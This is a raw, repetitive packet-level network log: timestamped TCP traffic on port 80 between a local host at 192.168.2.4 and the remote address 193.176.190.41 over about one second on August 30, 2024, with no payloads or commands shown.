Aug 30, 2024 18:13:04.772860050 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.772874117 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.772900105 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.776241064 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.776288986 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.776304007 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.776314020 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.776348114 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.776367903 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.776380062 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.776391029 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.776402950 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.776420116 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.776439905 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.776456118 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.776499033 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.776525021 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.776568890 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.776599884 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.776611090 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.776622057 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.776633978 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.776639938 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.776668072 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.776683092 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.776750088 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.776762009 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.776793957 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.776808023 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.776845932 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.777043104 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.777055025 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.777065992 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.777076960 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.777087927 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.777089119 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.777101040 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.777115107 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.777132988 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.777231932 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.777242899 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.777254105 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.777264118 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.777272940 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.777276039 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.777287006 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.777298927 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.777301073 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.777333021 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.777359962 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.777460098 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.777472019 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.777482986 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.777503014 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.777515888 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.777529001 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.777554035 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.777652025 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.777662992 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.777673960 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.777684927 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.777694941 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.777725935 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.777806044 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.777817965 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.777827978 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.777837992 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.777848005 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.777849913 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.777862072 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.777872086 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.777879000 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.777909040 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.778001070 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.778043985 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.778078079 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.778089046 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.778099060 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.778109074 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.778120995 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.778122902 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.778134108 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.778145075 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.778151989 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.778170109 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.778183937 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.812510014 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.812531948 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.812542915 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.812582970 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.812604904 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.812633991 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.812644958 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.812675953 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.812747955 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.812758923 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.812767982 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.812783003 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.812815905 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.813924074 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.813970089 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.813973904 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.813982010 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.814011097 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.814022064 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.814045906 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.814083099 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.814162970 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.814173937 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.814184904 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.814193010 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.814201117 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.814213037 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.814233065 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.814320087 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.814331055 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.814341068 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.814352036 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.814362049 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.814363956 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.814390898 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.814400911 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.814553976 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.814565897 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.814590931 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.814603090 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.814635992 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.814646959 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.814675093 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.814685106 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.814722061 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.814795971 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.814806938 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.814836979 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.814882994 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.814893961 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.814903021 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.814919949 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.814945936 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.856868982 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.856894970 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.856904984 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.856955051 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.857003927 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.857018948 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.857029915 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.857059956 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.857079983 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.857144117 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.857156038 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.857166052 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.857186079 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.857212067 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.857316017 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.857326984 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.857337952 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.857348919 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.857359886 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.857361078 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.857372046 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.857388020 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.857407093 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.858761072 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.858781099 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.858793020 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.858805895 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.858834028 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.858939886 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.858951092 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.858962059 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.858973026 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.858983994 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.858984947 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.859002113 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.859029055 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.859097004 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.859107971 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.859136105 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.859150887 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.859162092 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.859194040 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.859241962 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.859253883 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.859262943 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.859285116 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.859308958 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.859389067 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.859400988 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.859411955 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.859422922 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.859431028 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.859447956 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.859471083 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.859522104 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.859560013 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.859591007 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.859601974 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.859612942 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.859621048 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.859635115 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.859659910 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.863120079 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.863188982 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.863194942 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.863204956 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.863223076 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.863233089 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.863240957 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.863276958 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.863334894 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.863375902 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.863445997 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.863456964 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.863466024 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.863490105 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.863507032 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.863518000 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.863518000 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.863532066 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.863543034 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.863548994 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.863568068 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.863594055 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.863632917 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.863645077 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.863683939 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.863745928 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.863756895 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.863765955 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.863791943 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.863804102 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.863818884 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.863831997 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.863841057 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.863864899 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.863889933 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.863903046 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.863914013 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.863939047 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.863960028 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.863986969 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.863996029 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.864029884 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.864043951 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.864114046 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.864125013 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.864135027 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.864145041 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.864149094 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.864160061 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.864176035 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.864202976 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.278978109 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.284039021 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.464628935 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.464653969 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.464664936 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.464726925 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.464771986 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.464785099 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.464797020 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.464808941 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.464835882 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.464860916 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.464890003 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.464901924 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.464912891 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.464922905 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.464934111 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.464936972 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.464967012 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.464987993 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.465089083 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.465101004 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.465135098 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.465168953 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.465181112 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.465190887 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.465202093 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.465213060 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.465219021 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.465225935 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.465236902 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.465250969 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.465281010 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.465504885 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.465543032 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.465646982 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.465658903 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.465667963 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.465677977 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.465687990 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.465698957 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.465703964 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.465711117 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.465722084 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.465724945 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.465740919 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.465744019 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.465766907 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.465779066 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.467401028 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.467454910 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.467544079 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.467592955 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.467684031 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.467694998 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.467705011 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.467735052 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.467760086 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.551398993 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.551419973 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.551431894 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.551441908 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.551453114 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.551505089 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.551552057 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.551562071 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.551565886 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.551577091 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.551590919 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.551628113 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.551639080 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.551659107 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.551692963 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.551692963 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.551714897 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.551727057 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.551753044 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.551769018 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.551800013 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.551810026 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.551820040 CEST	80	49733	193.176.190.41	192.168.2.4
